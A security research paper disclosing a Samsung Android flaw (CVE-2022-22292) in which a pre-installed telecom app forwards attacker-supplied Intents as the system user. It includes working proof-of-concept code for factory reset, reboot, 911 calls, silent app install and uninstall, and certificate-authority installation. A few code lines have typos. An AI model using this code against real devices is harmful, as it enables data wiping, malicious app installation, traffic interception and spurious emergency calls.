Quokka

TECHNICAL PAPER

Start Arbitrary Activity App Components

as the System User Vulnerability Affecting Samsung Android Devices

Start Arbitrary Activity App Components as the System User Vulnerability Affecting Samsung Android Devices

Ryan Johnson, Mohamed Elsabagh, & Angelos Stavrou

Abstract

Samsung Android devices running Android versions 9, 10, 11, and 12 contain a vulnerability that allows any local app on the device (including third-party apps with zero permissions) to provide arbitrary `Intent` objects that will be used by a pre-installed app (`com.android.server.telecom`) executing as the `system` user to start an activity app component (even those that are not exported) of the attacker's choosing, affecting Android versions 10, 11, and 12. The same vulnerability is present on Android 9, although it allows zero-permission third-party apps to provide arbitrary `Intent` objects that are sent to broadcast receiver app components by the same vulnerable pre-installed app executing as the `system` user (instead of being used to start arbitrary activity app components in more recent Android versions). This vulnerability allows a third-party app to provide arbitrary `Intent` objects that will be started by a pre-installed app executing as the `system` user with all its permissions, privileges, and capabilities.

This systemic vulnerability introduces additional privilege escalation vulnerabilities since the underlying vulnerability allows a third-party app to start and send data to arbitrary activity app components (broadcast receiver app components for Android 9) in the context of a `system` user pre-installed app. This opens a large attack surface for third-party apps by allowing it to send arbitrary `Intent` objects with embedded data to activities (and broadcast receivers for Android 9) that appear to originate from the system itself. In effect, an unprivileged app can use an unprotected interface to send `Intent` objects to perform actions on its behalf. A limited sample of unauthorized capabilities that a zero-permission third-party app can gain by starting arbitrary activity app components on an Samsung Galaxy S21 Ultra 5G running the most recent stock Android 12 build available to it using a `system` user pre-installed app to start activities on its behalf are the following: factory reset, install arbitrary apps, uninstall arbitrary apps, call phone numbers, call privileged phone numbers (e.g., such as 911), and install a custom certificate authority. All of these aforementioned capabilities are performed programmatically without any user involvement. This is a limited sample of vulnerabilities that are made accessible to third-party apps via the vulnerable pre-installed app that "forwards" attacker-controlled `Intent` objects and starts them as the `system` user.

Introduction

A vulnerability that is present in all of the Samsung Android devices we tested running Android versions 10, 11, and 12 can be exploited by a local app with no permissions on the device to create and provide `Intent` objects that will be used to start arbitrary activity app components in the context of a pre-installed app executing as the `system` user. The same vulnerability can be used to cause a pre-installed app to broadcast arbitrary `Intent` objects in Android 9, but we will primarily focus on starting arbitrary activity app components (unless otherwise noted) in this writeup since it affects more recent Android versions. Normally, an app is limited to its own context, e.g., granted permissions, user-granted capabilities, and user ID (UID), when starting an activity app component via an `Intent` object, but this vulnerability allows local apps to indirectly use the context of a pre-installed app with the `system` UID when starting activities via attacker-controlled `Intent` objects. By attacker-controlled `Intent` objects, we mean that the vulnerable pre-installed app with the `system` UID will obtain an `Intent` object embedded within another `Intent` it receives from the attacking app and then start an activity app component using the embedded `Intent` object that was created by the attacking app. This can be conceptualized as "`Intent` forwarding", where the attacker controls the `Intent` object that is sent by another process, which, in this case, is a very privileged process, which even allows for the starting of activity app components that are not exported (i.e., `android:exported="false"`). This vulnerability was granted CVE-2022-22292 and also SVE-2021-24038.

The indirection allows third-party apps to control the contents of `Intent` objects that are sent by a pre-installed app that executes with the `system` UID. The vulnerable pre-installed app that forwards the `Intent` objects it receives is a standard pre-installed app with a package name of `com.android.server.telecom`. The root cause of the vulnerability is incorrect access control exhibited by a dynamically-registered broadcast receiver in the `com.android.server.telecom` app. This is not an Android Open Source Project (AOSP) issue and is specific to Samsung Android devices due to vendor-specific modifications to the `com.android.server.telecom` app. A local app exploiting the vulnerability can execute in the background, such as a foreground service, to start specific activities for privilege escalation at opportune times. Using the underlying vulnerability to start arbitrary activity app components, the local app can utilize specific target activities, made available through the vulnerability, to indirectly obtain additional capabilities programmatically via privilege escalation such as performing a factory reset, installing arbitrary apps, uninstalling arbitrary apps, calling phone numbers, calling privileged phone numbers, and installing a custom certificate authority. Proof of Concept (PoC) code for these vulnerabilities is provided in Appendix A that have been dynamically tested and verified on a Samsung Galaxy S21 Ultra 5G device with a build fingerprint of `samsung/p3quew/p3q:12/SP1A.210812.016/G998U1UEU4BUKF:user/release-keys`. This is a limited sample of capabilities that can be achieved since the attack surface is vast (i.e., activities in pre-installed apps and those that the user has installed on their device). An attack app, using the confirmed capabilities provided in Appendix A, can programmatically uninstall an installed app and then programmatically install a malicious version of the same app (e.g., Facebook) that steals credentials and harvests user data. For Samsung devices running Android 9, the attack surface is broadcast receiver app components instead of activity app components.

General Vulnerability Workflow

This section provides the general workflow to successfully exploit the vulnerability. The workflow is for starting an arbitrary activity app component using an attacker-controlled `Intent` object via a pre-installed app with the `system` UID is the following:

1. Create an implicit or explicit `Intent` object for a target app activity and populate it with the appropriate “extras” (e.g., `android.content.Intent.putExtra(String, String)`) that the target app activity expects (if any) in the `Intent` object it receives and processes.
2. Create a second `Intent` object and sets its action string to “`com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL`” and embed the `Intent` object created in step 1 in the `Intent` object created in this step as an “extra” with a name of “`extra_call_intent`” using the `android.content.Intent.putExtra(String, Parcelable)` Application Programming Interface (API) call.
3. Broadcast the `Intent` object created in step 2, which contains the `Intent` created in step 1 embedded inside of it, using the standard API (i.e., `sendBroadcast(Intent)` method).
4. Observe that the target of the `Intent` created in step 1 was indeed started. This can be confirmed by using the following `logcat` command to filter the log based on a log tag: ‘`adb logcat -s ActivityTaskManager:V`’. There will likely be visual confirmation that the activity was started by examining the device screen. There may also be other observable side effects of starting the target activity as well such as specific log messages or a change in system state.

The following is a sample PoC code for the steps explained above that will programmatically initiate a factory reset of the device. This code was tested on a Samsung Galaxy S21 Ultra 5G running Android 12 (`samsung/p3quew/p3q:12/SP1A.210812.016/G998U1UEU4BUKF:user/release-keys`). This PoC code depends upon the presence of the `com.sec.factory` pre-installed app on the target device. The `com.sec.factory` app appears to be a stock pre-installed app that has been present on the Samsung Android devices we have examined.

```
Intent activity_intent = new Intent();
activity_intent.setClassName("com.sec.factory", "com.sec.factory.sysdump.FactoryReset");
activity_intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

Intent broadcast_intent = new
Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broadcast_intent.putExtra("extra_call_intent", activity_intent);
getApplicationContext().sendBroadcast(broadcast_intent);
```

In the PoC code example above, the general format for starting an arbitrary activity app component as the `system` user is provided. To start a different activity using this vulnerability, the `Intent` object with a variable name of '`activity_intent`' can be changed to have a different target such as in the PoC code below that will programmatically call an emergency number (i.e., 911). Even if the `com.sec.factory` app is not pre-installed on the Samsung Android device, the target activity in the PoC code below is handled in the `com.android.server.telecom` app which is the same app that contains the vulnerability to allow any process to start arbitrary activity app components as the `system` user and the app should be present on all Samsung Android smartphones.

```
Intent activity_intent = new Intent("android.intent.action.CALL_PRIVILEGED",
Uri.parse("tel:911"));

Intent broadcast_intent = new
Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broadcast_intent.putExtra("extra_call_intent", activity_intent);
getApplicationContext().sendBroadcast(broadcast_intent);
```

When executing the PoC code directly above, the `logcat` log shows the following log message showing the `com.android.server.telecom.PrivilegedCallActivity` activity app component being started to call 911 (number is sanitized in the log message) by a process executing with a of UID of 1000 which is a special UID reserved for the `system` user.

```
ActivityTaskManager: START u0 {act=android.intent.action.CALL_PRIVILEGED dat=tel:xxx
flg=0x10000000 cmp=com.android.server.telecom/.PrivilegedCallActivity (has extras)}
from uid 1000
```

Any local app on the device can interact with the dynamically-registered broadcast receiver app component in the `com.android.server.telecom` app that registers for the "`com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL`" action string since it does not require any specific permission and the action string it registers for is not declared as a protected broadcast.

```
* ReceiverList{6c419f5 1312 system/1000/u0
local:com.samsung.server.telecom.advancedcall.wificall.SamsungUsaWpsBroadcastReceiver@
ae332df,3b6cb2c} app=1312:system/1000 pid=1312 uid=1000 user=0
  Filter #0: BroadcastFilter{9e5e38a}
    Action: "com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL"
```

This dynamically-registered broadcast receiver expects that the `Intent` object it receives will contain an `Parcelable` "extra" with a key name of "`extra_call_intent`" that it will cast to an `android.content.Intent` object. It then uses the embedded `Intent` object that is just casted (from the `Intent` object it received) as the first argument to the `android.content.Context.startActivityAsUser(Intent, UserHandle)` method where the second argument is the value of the `android.os.UserHandle.CURRENT` static field of type `android.os.UserHandle` which will have a value of `system` at runtime. This is due to the fact that the `com.android.server.telecom` app executes with the `system` UID since it has the `android:sharedUserId="android.uid.system"` attribute set in its `manifest` element in its `AndroidManifest.xml` file and is signed with the framework key. Since the `com.android.server.telecom` app executes as the `system` user, it also shares permissions with all other apps executing as the `system` user. On the Samsung Galaxy S21 Ultra 5G, with a build fingerprint of `samsung/p3quew/p3q:12/SP1A.210812.016/G998U1UEU4BUKF:user/release-keys`, the com.android.server.telecom app has 420 permissions at runtime, allowing it to start a large array of app components on the device.

Broadcasting Arbitrary Intent Objects

The Samsung smartphone running Android 9 we tested (i.e., Samsung A10e) allows zero-permission local apps to indirectly send arbitrary broadcast Intent objects as the system user via the same vulnerable dynamically-registered broadcast receiver app component that is present in the pre-installed com.android.server.telecom app on Android versions 10, 11, & 12. The following PoC code is very similar to the PoC code for indirectly starting arbitrary activities. The only difference is that the target Intent object (i.e., with a variable name of reboot_intent in the first PoC code example) will be sent as a broadcast Intent instead of an Intent that starts an activity app component. Sending arbitrary broadcast Intent objects as the system user provides a different attack surface than starting arbitrary activity app components and is also more stealthy as broadcast receivers operate in the background, although an attacking app starting activity app components on Android versions 10, 11, & 12 can also programmatically send an Intent object to return the the default launcher component.

The PoC code below will send a protected broadcast (i.e., android.intent.action.REBOOT) that will programmatically reboot the device. Third-party apps can indirectly send protected broadcasts since it is being directly sent by the com.android.server.telecom app that executes as the system user (which is considered to be part of the system itself) on its behalf.

```
Intent reboot_intent = new Intent("android.intent.action.REBOOT");
reboot_intent.putExtra("nowait", 1);

Intent broadcast_intent = new
Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broadcast_intent.putExtra("extra_call_intent", reboot_intent);
getApplicationContext().sendBroadcast(broadcast_intent);
```

The PoC code provided below will programmatically initiate a factory reset of the device by sending an Intent object to the android/com.android.server.MasterClearReceiver component with an action string of android.intent.action.FACTORY_RESET which causes the system to erase all user data and apps.

```
Intent intent = new Intent("android.intent.action.FACTORY_RESET");
intent.setClassName("android", "com.android.server.MasterClearReceiver");
intent.putExtra("android.intent.extra.REASON", "FactoryApp");

Intent broadcast_intent = new
Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broadcast_intent.putExtra("extra_call_intent", intent);
sendBroadcast(broadcast_intent);
```

Affected Devices

The table below contains a list of impacted Samsung Android devices, affecting Android versions 9, 10, 11, & 12, that we have dynamically confirmed to contain the vulnerability. The row that is highlighted in yellow is the most recent build available to the Samsung Galaxy S21 Ultra 5G Android device as of November 26, 2021. This table is not meant to be exhaustive, but it is simply meant to demonstrate that a range of Android versions, models, and builds are verified to be vulnerable. We are in the process of testing additional Samsung Android device builds. We tested a Samsung S8 Android device running Android 8 and this device was not found to be vulnerable, although it may require a closer examination.

Device Model	OS Version	Build Fingerprint
Samsung S 21 Ultra 5G (SM-G998U1)	12	samsung/p3quew/p3q:12/SP1A.210812.016/G998U1UEU4BUKF:user/release-keys
Samsung S 21 Ultra 5G (SM-G998U1)	11	samsung/p3quew/p3q:11/RP1A.200720.012/G998U1UES4AUJ7:user/release-keys
Samsung S10+ (SM-G975F)	10	samsung/beyond2ltexx/beyond2:10/QP1A.190711.020/G975FXXS9DTK9:user/release-keys
Samsung A10e (SM-A516B)	9	samsung/a10etfn/a10e:9/PPR1.180610.011/S102DLUDS2ASJ1:user/release-keys

Suggested Resolution

Currently, there is no access control enforced by the dynamically-registered broadcast receiver in the com.android.server.telecom app that registers for the "com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL" action string, allowing any local app on the device to interact with it and start arbitrary activities as the system user (or send arbitrary broadcast Intent objects in the case of Samsung smartphones running Android 9). We recommend that this dynamically-registered broadcast receiver app component in the com.android.server.telecom app be registered with a signature-level permission. This is easily accomplished using the available Android API calls (e.g., registerReceiver method). This will ensure that an app must possess the signature-level permission to successfully interact with the dynamically-registered broadcast receiver that handles the "com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL" broadcast action and starts activities that are provided to it in its own privileged context. Apps signed with the same key as the Android Framework can request the signature-level permission and utilize the functionality provided by dynamically-registered broadcast receiver in the com.android.server.telecom app that registers to receive broadcast Intent objects with an action string of "com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL".

Appendix A. Privilege Escalation Vulnerabilities Enabled by Starting Arbitrary Activity App Components as the system User. Tested and verified on a Samsung Galaxy S21 Ultra 5G device with a build fingerprint of samsung/p3quew/p3q:12/SP1A.210812.016/G998U1UEU4BUKF:user/release-keys.

Call Arbitrary Phone Numbers

```
Intent intent = new Intent(Intent.ACTION_CALL, Uri.parse("tel:+17031234567"));
Intent broad_intent = new Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broad_intent.putExtra("extra_call_intent", intent);
sendBroadcast(broad_intent);
```

Call Arbitrary Privileged Phone Numbers

```
Intent intent = new Intent("android.intent.action.CALL_PRIVILEGED", Uri.parse("tel:911"));

Intent broad_intent = new Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broad_intent.putExtra("extra_call_intent", intent);
sendBroadcast(broad_intent);
```

Programmatic Factory Reset

```
Intent intent = new Intent();
intent.setClassName("com.sec.factory", "com.sec.factory.sysdump.FactoryReset");
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

Intent broad_intent = new Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broad_intent.putExtra("extra_call_intent", intent);
sendBroadcast(broad_intent);
```

Uninstall Arbitrary Apps

```
Intent intent = new Intent();
intent.setClassName("com.google.android.packageinstaller",
"com.android.packageinstaller.UninstallUninstalling");
PackageManager packageManager = context.getPackageManager();
ApplicationInfo app = packageManager.getApplicationInfo("jackpal.androidterm", 0);
intent.putExtra("com.android.packageinstaller.applicationInfo", app);
intent.putExtra("android.content.pm.extra.PACKAGE_NAME", "jackpal.androidterm");
intent.putExtra("android.intent.extra.UNINSTALL_ALL_USERS", false);
intent.putExtra("android.intent.extra.RETURN_RESULT", false);
intent.putExtra("android.content.pm.extra.LEGACY_STATUS", 1);
intent.putExtra("com.android.packageinstaller.extra.KEEP_DATA", false);
intent.putExtra("com.android.packageinstaller.extra.APP_LABEL", "Terminal Emulator");

intent.putExtra(Intent.EXTRA_USER, android.os.Process.myUserHandle());
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);

Intent broad_intent = new Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broad_intent.putExtra("extra_call_intent", intent);
sendBroadcast(broad_intent);
```

Install Arbitrary Apps

```
File local_apk_file = new File(getFilesDir(), "term.apk");
if (local_apk_file.exists())
   local_apk_file.delete();

AssetManager assetManager = getAssets();
InputStream inputStream = assetManager.open("term.apk");
OutputStream outputStream = new FileOutputStream(local_apk_file);
byte[] buffer = new byte[65536];
```

```
int read;
while((read = inputStream.read(buffer)) != -1){
   outputStream.write(buffer, 0, read);
}

inputStream.close();
outputStream.close();

PackageInstaller pi = getPackageManager().getPackageInstaller();
int sessionId = pi.createSession(new
PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL));
String temp_apk_path = "/data/app/vmdl" + sessionId + ".tmp/base.apk";
Log.i(TAG, "Session is " + sessionId + " - so path should be " + temp_apk_path);

PackageInstaller.Session session = pi.openSession(sessionId);
long sizeBytes = local_apk_file.length();

InputStream in = new FileInputStream(local_apk_file);
OutputStream out = session.openWrite("base.apk", 0, sizeBytes);
int bytes_read =0;
while ((bytes_read = in.read(buffer)) != -1) {
   out.write(buffer, 0, bytes_read);
}
session.fsync(out);
in.close();
out.close();

Intent pi_intent = new Intent(getApplicationContext(), YoloReceiver.class);
PendingIntent alarmtest = PendingIntent.getBroadcast(getApplicationContext(), 1887111117,
pi_intent, PendingIntent.FLAG_UPDATE_CURRENT);
IntentSender statusReceiver = alarmtest.getIntentSender();

session.commit(statusReceiver);
session.close();

Intent intent = new Intent();
intent.setClassName("com.google.android.packageinstaller",
"com.android.packageinstaller.InstallInstalling");
intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);

File apkFile = new File(temp_apk_path);
Uri apkUri = Uri.fromFile(apkFile);
intent.setData(apkUri);
intent.putExtra(Intent.EXTRA_USER, android.os.Process.myUserHandle());
PackageInfo packageInfo = PackageInfo packageInfo =
context.getPackageManager().getPackageArchiveInfo(local_apk_file.getPath(),
PackageManager.GET_PERMISSIONS);
intent.putExtra("com.android.packageinstaller.applicationInfo", packageInfo.applicationInfo);

Intent broad_intent = new Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broad_intent.putExtra("extra_call_intent", intent);
sendBroadcast(broad_intent);

Thread.sleep(3333);

Intent home_screen_intent = new Intent("android.intent.action.MAIN");
home_screen_intent.addCategory("android.intent.category.HOME");
home_screen_intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
startActivity(home_screen_intent);
```

Install Arbitrary Certificate Authorities

```
String CERTIFICATE = "-----BEGIN CERTIFICATE-----\n" +
       "MIIDoTCCAomgAwIBAgIGDopToKRIMA0GCSqGSIb3DQEBCwUAMCgxEjAQBgNVBAMM\n" +
       "CW1pdG1wcm94eTESMBAGA1UECgwJbWl0bXByb3h5MB4XDTIwMDgyNzE4NTIxMVoX\n" +
       "DTIzMDgyOTE4NTIxMVowKDESMBAGA1UEAwwJbWl0bXByb3h5MRIwEAYDVQQKDAlt\n" +
       "aXRtcHJveHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6PUKSC32x\n" +
       "mzSjxXqcOP9jvm9wBpnTXaJZF0Fmy9qPc0yycgaZ6KZZpw+MXwzr2LAthK7yQCUy\n" +
       "6W2VGS6gZwCz5Cx1gBdI8URjhAoYvUA3GEuH/ZfqET4UzFrmvIqSIWuY1e/ddTjn\n" +
       "t4PoRKHC2ZrRo9AeG4Nehsr0GPaJ2Eay4nBTjGlRtuKYVRb3CEmOIfXhxmyWI87c\n" +
       "S4q2E9gMfJTO0I+ceWWNb3Qm7TyqI3iuLhdWIGEMjQ/2ghmyIMkt7+tyMUzskSVR\n" +
       "nP7Mrm6ZIVhzpzhjzdAoxkcsUHqwge13JknqzFIwH7z63hJYcqY7pdE+wUWnIpXB\n" +
       "UWHSIBJE64qLAgMBAAGjgdAwgc0wDwYDVR0TAQH/BAUwAwEB/zARBglghkgBhvhC\n" +
       "AQEEBAMCAgQweAYDVR0lBHEwbwYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcD\n" +
       "BAYIKwYBBQUHAwgGCisGAQQBgjcCARUGCisGAQQBgjcCARYGCisGAQQBgjcKAwEG\n" +
       "CisGAQQBgjcKAwMGCisGAQQBgjcKAwQGCWCGSAGG+EIEATAOBgNVHQ8BAf8EBAMC\n" +
       "AQYwHQYDVR0OBBYEFKvNgPJA8o638r3x82ocg0HjW5B0MA0GCSqGSIb3DQEBCwUA\n" +
       "A4IBAQAsperz2qaBMu/MnmSaV2x6LFWYMXcJKXJR3vrrmPcQ3F5pUBFwQuhp+5jj\n" +
       "1wfF38rcYsfNidiRIPztHtbTsQzKCTF2Gwy5aRK4uR9bM5UguACo7C9Q35N31FG2\n" +
       "/x3T3UMvZrqUOt5dJGuxUTXZAWoRikQw7rHfpVftxDjFCBrVmVlDdGqGdPBMAJsJ\n" +
       "5MCR01mNKxO385voXCQQYW1pFG0RdUTucqSl2YjXe7UjD8rov34ljR2qAu5KImDm\n" +
       "FhzLdPqUZAZuCWTBbxQantRRV11k/QdlVTamyILFSXlkMT2Ral7t6YxMXmd4KBqm\n" +
       "vzGsCb5scuW4h/ua/IzHHAR3ryia\n" +
       "-----END CERTIFICATE-----";

Intent intent = new Intent("android.credentials.INSTALL");
intent.setClassName("com.android.certinstaller", "com.android.certinstaller.CertInstaller");
byte[] pemBytes = Base64.decode(
       CERT.replaceAll("-----(BEGIN|END) CERTIFICATE-----", "")
               .replaceAll("\n", "")
               .getBytes("UTF-8"),
       Base64.DEFAULT
);

intent.putExtra(KeyChain.EXTRA_CERTIFICATE, pemBytes);
intent.putExtra(KeyChain.EXTRA_NAME, "yolo");
intent.putExtra(Intent.EXTRA_REFERRER, "com.android.settings");
intent.putExtra("certificate_install_usage", "ca");
intent.putExtra("install_as_uid", "1000");
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

Intent broad_intent = new Intent("com.samsung.server.telecom.USER_SELECT_WIFI_SERVICE_CALL");
broad_intent.putExtra("extra_call_intent", intent);
sendBroadcast(broad_intent);
```